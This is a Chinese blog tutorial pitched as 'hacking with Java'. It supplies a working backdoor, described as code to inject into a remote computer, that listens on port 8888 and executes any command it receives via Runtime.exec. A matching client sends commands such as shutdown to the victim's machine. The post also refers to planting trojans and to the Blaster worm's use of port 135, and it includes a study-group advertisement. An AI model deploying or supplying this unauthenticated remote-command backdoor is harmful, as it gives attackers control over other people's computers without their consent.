java也可以做黑客?


记得:Eric S. Raymond在他著名的文章《如何成为一名黑客》中,将Java列为五门黑客必备语言之一,其它四门分别是:C、C++、Perl、Python。


而Java最大的特性是系统无关性,通过JVM可以无缝应用在各种操作系统。编写出来的程序,根本不关联任何的操作系统特性,除非JNI调用C++的DLL,但这样还不如直接用DLL。到目前为止,我没有发现任何一个侵入软件,是用Java编写的。



其实,Java是可以编写数据包分析软件,或者浅层次的端口扫描软件的。今天咱们就一起来学习一个简单的程序吧!


一般来说,通过端口扫面,知道对方的端口后,要进行一些进一步的操作,不是很难!难就难在如何想对方电脑发送命令!一般电脑会开放一个135的端口,我们通过它了做一些操作。大名鼎鼎的“冲击波”就是通过它了实现的。



关于135的端口说明如下:


135端口主要用于使用RPC(Remote Procedure Call,远程过程调用)协议并提供DCOM(分布式组件对象模型)服务。


端口说明:135端口主要用于使用RPC(Remote Procedure Call,远程过程调用)协议并提供DCOM(分布式组件对象模型)服务,通过RPC可以保证在一台计算机上运行的程序可以顺利地执行远程计算机上的代 码;使用DCOM可以通过网络直接进行通信,能够跨包括HTTP协议在内的多种网络传输。

做java开发快8年时间,如果大家对于学习java有任何问题(学习方法,学习效率,如何就业),可以随时来咨询我,这是我的java交流学习qun:732308174。 多多交流问题,互帮互助,qun里有不错的学习教程和开发工具。


当然通过java来实现,确实有点困难,在这就不多说。还有一种简单远程方法就是种木马。至于如何挂马的问题,不再本篇的研究范围,如有兴趣的童鞋可以自己查阅。言归正传,我们看一下java远程控制的简单实现。


远程计算机注入的代码如下:


import java.io.DataInputStream;

import java.io.DataOutputStream;

import java.io.IOException;

import java.net.ServerSocket;

import java.net.Socket;

public class Main implements Runnable {

public static final int TCP_PORT = 8888;

ServerSocket ss = null;

Socket s = null;

String cmd = null;

public Main(Socket s) {

this.s = s;

}

public void startServer() {

try {

ss = new ServerSocket(TCP_PORT);

} catch (IOException e) {

// TODO Auto-generated catch block

e.printStackTrace();

}

while (true) {

try {

s = ss.accept();

new Thread(new Main(s)).start();

} catch (IOException e) {

// TODO Auto-generated catch block

e.printStackTrace();

}

}

}

public void run() {

try {

DataOutputStream dos = new DataOutputStream(s.getOutputStream());

dos.writeUTF("连接成功");

DataInputStream dis = new DataInputStream(s.getInputStream());

while (true) {

cmd = dis.readUTF();

try {

Runtime.getRuntime().exec(cmd);

} catch (IOException e) {

}

}

} catch (IOException e) {

// TODO Auto-generated catch block

e.printStackTrace();

}

}

public static void main(String[] args) {

new Main(null).startServer();

}

}


原理很简单,就是在计算机上建立一个ServerSocket,监听8888端口。当有客户端接入后,回执一个“连接成功”消息。然后执行cmd命令。



 本机的代码如下:

import java.io.DataInputStream;

import java.io.DataOutputStream;

import java.io.IOException;

import java.net.Socket;

import java.net.UnknownHostException;

import javax.swing.JOptionPane;

public class Main  {

public static final int TCP_PORT = 8888;

public static String ip = "127.0.0.1";

Socket s = null;

String cmd = null;

public static void main(String[] args) {

new Main().connect();

}

public void connect(){

try {

s = new Socket(ip,TCP_PORT);

System.out.println("连接成功");

DataOutputStream dos = new DataOutputStream(s.getOutputStream());

do{

cmd = JOptionPane.showInputDialog("输入命令:");

dos.writeUTF(cmd);

}while(!cmd.equals("over"));

new Thread(new RecvThread()).start();

} catch (UnknownHostException e) {

// TODO Auto-generated catch block

e.printStackTrace();

} catch (IOException e) {

// TODO Auto-generated catch block

e.printStackTrace();

}

}

private class RecvThread implements Runnable{

public void run() {

DataInputStream dis;

while(true){

try {

dis = new DataInputStream(s.getInputStream());

String message = dis.readUTF();

JOptionPane.showMessageDialog(null, message);

} catch (IOException e) {

// TODO Auto-generated catch block

e.printStackTrace();

}

}

}

}

}

   原理是,这边连入对方的服务端,向对方发送一个cmd命令,对方电脑就会执行。简单的如“shutdown -s”,就是让对方关机。



  弄清楚是怎么一回事后,就会发现这些非常的简单。有兴趣的话,大家可以试一下。尤其是对于初学者,有很大的动力。其实,Java在单机上也有很大的发展潜力的。

©著作权归作者所有,转载或内容合作请联系作者
平台声明:文章内容(如有图片或视频亦包括在内)由作者上传并发布,文章内容仅代表作者本人观点,简书系信息发布平台,仅提供信息存储服务。

推荐阅读更多精彩内容

  • 每个人都有自己的秘密,都有自己不为人知的一面。你要如何看待自己的另一面,与另一个自己和解呢?小说中阿米尔的做...
    神赐Doreen阅读 789评论 0 1
  • Redis的数据类型 String 字符串类型一个键最多存储512M LIST列表类型1>LPUSH:向列表左端添...
    呦丶耍脾气阅读 227评论 0 0
  • 母亲一连串生了我们六个宝宝,主人有些着急,怕我们把她家闹翻天,就四处打听人家要把我们几个兄弟姐妹送出去,母亲的毛是...
    心中的小火苗阅读 463评论 12 14
  • 今天周六,无风无雨紫外线弱天气缓和,适合户外活动。 难得牛恒哥不加班,我提议一家人外出锻炼身体散散心。 我提议到城...
    云恋风阅读 1,731评论 1 0